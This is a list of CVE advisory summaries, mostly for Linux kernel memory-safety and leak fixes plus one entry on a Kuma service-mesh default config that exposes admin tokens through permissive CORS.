CVE-2026-46141	In the Linux kernel, the following vulnerability has been resolved: powerpc/xive: fix kmemleak caused by incorrect chip_data lookup The kmemleak reports the following memory leak: Unreferenced object 0xc0000002a7fbc640 (size 64): comm "kworker/8:1", pid 540, jiffies 4294937872 hex dump (first 32 bytes): 01 00 00 00 00 00 00 00 00 00 09 04 00 04 00 00 ..... 00 00 a7 81 00 00 0a c0 00 00 08 04 00 04 00 00 ..... backtrace (crc 177d48f6): __kmalloc_cache_noprof+0x520/0x730 xive_irq_alloc_data.constprop.0+0x40/0xe0 xive_irq_domain_alloc+0xd0/0x1b0 irq_domain_alloc_irqs_parent+0x44/0x6c pseries_irq_domain_alloc+0x1cc/0x354 irq_domain_alloc_irqs_parent+0x44/0x6c msi_domain_alloc+0xb0/0x220 irq_domain_alloc_irqs_locked+0x138/0x4d0 __irq_domain_alloc_irqs+0x8c/0xfc __msi_domain_alloc_irqs+0x214/0x4d8 msi_domain_alloc_irqs_all_locked+0x70/0xf8 pci_msi_setup_msi_irqs+0x60/0x78 __pci_enable_msix_range+0x54c/0x98c pci_alloc_irq_vectors_affinity+0x16c/0x1d4 nvme_pci_enable+0xac/0x9c0 [nvme] nvme_probe+0x340/0x764 [nvme] This occurs when allocating MSI-X vectors for an NVMe device. During allocation the XIVE code creates a struct xive_irq_data and stores it in irq_data->chip_data. When the MSI-X irqdomain is later freed, xive_irq_free_data() is responsible for retrieving this structure and freeing it. However, after commit cc0cc23babc9 ("powerpc/xive: Untangle xive from child interrupt controller drivers"), xive_irq_free_data() retrieves the chip_data using irq_get_chip_data(), which looks up the data through the child domain. This is incorrect because the XIVE-specific irq data is associated with the XIVE (parent) domain. As a result the lookup fails and the allocated struct xive_irq_data is never freed, leading to the kmemleak report shown above. Fix this by retrieving the irq_data from the correct domain using irq_domain_get_irq_data() and then accessing the chip_data via irq_data_get_irq_chip_data().	N/A	More Details
CVE-2026-45992	In the Linux kernel, the following vulnerability has been resolved: ALSA: caiaq: Fix potentially leftover ep1_in_urb at error path The previous fix for handling the error from setup_card() missed that an internal URB cdev->ep1_in_urb might have been already submitted beforehand. In the normal case, this URB gets killed at the disconnection, but in the error path, we didn't do it, hence there can be a potential leak. Fix it in the error path for setup_card(), too.	N/A	More Details
CVE-2026-45993	In the Linux kernel, the following vulnerability has been resolved: LoongArch: Add spectre boundry for syscall dispatch table The LoongArch syscall number is directly controlled by userspace, but does not have a array_index_nospec() boundry to prevent access past the syscall function pointer tables.	N/A	More Details
CVE-2026-45994	In the Linux kernel, the following vulnerability has been resolved: ibmasm: fix OOB reads in command_file_write due to missing size checks The command_file_write() handler allocates a kernel buffer of exactly count bytes and copies user data into it, but does not validate the buffer against the dot command protocol before passing it to get_dot_command_size() and get_dot_command_timeout(). Since both the allocation size (count) and the header fields (command_size, data_size) are independently user-controlled, an attacker can cause get_dot_command_size() to return a value exceeding the allocation, triggering OOB reads in get_dot_command_timeout() and an out-of-bounds memcpy_toio() that leaks kernel heap memory to the service processor. Fix with two guards: reject writes smaller than sizeof(struct dot_command_header) before allocation, then after copying user data reject commands where the buffer is smaller than the total size declared by the header (sizeof(header) + command_size + data_size). This ensures all subsequent header	N/A	More Details

	and payload field accesses stay within the buffer.		
CVE-2026-45995	In the Linux kernel, the following vulnerability has been resolved: io_uring/zcrx: fix user_struct uaf io_free_rbuf_ring() usees a struct user_struct, which io_zcrx_ifq_free() puts it down before destroying the ring.	N/A	More Details
CVE-2026-45996	In the Linux kernel, the following vulnerability has been resolved: spi: imx: fix use-after-free on unbind The SPI subsystem frees the controller and any subsystem allocated driver data as part of deregistration (unless the allocation is device managed). Take another reference before deregistering the controller so that the driver data is not freed until the driver is done with it.	N/A	More Details
CVE-2026-45997	In the Linux kernel, the following vulnerability has been resolved: scsi: sd: fix missing put_disk() when device_add(&disk_dev) fails If device_add(&sdkp->disk_dev) fails, put_device() runs scsi_disk_release(), which frees the scsi_disk but leaves the gendisk referenced. The device_add_disk() error path in sd_probe() calls put_disk(gd); call put_disk(gd) here to mirror that cleanup.	N/A	More Details
CVE-2026-45021	Kuma is a modern Envoy-based service mesh that can run on every cloud across both Kubernetes and VMs. Prior to 2.7.25, 2.9.15, 2.11.13, 2.12.10, and 2.13.5, the default kuma-cp config leaks the admin bootstrap token and signing keys to any webpage the operator visits while the control plane is reachable from their browser. CorsAllowedDomains: [".*"] reflects any Origin, and LocalhostIsAdmin: true promotes requests from 127.0.0.1 to mesh-system:admin. A cross-origin fetch() from a malicious page returns the admin JWT and signing material. This vulnerability is fixed in 2.7.25, 2.9.15, 2.11.13, 2.12.10, and 2.13.5.	N/A	More Details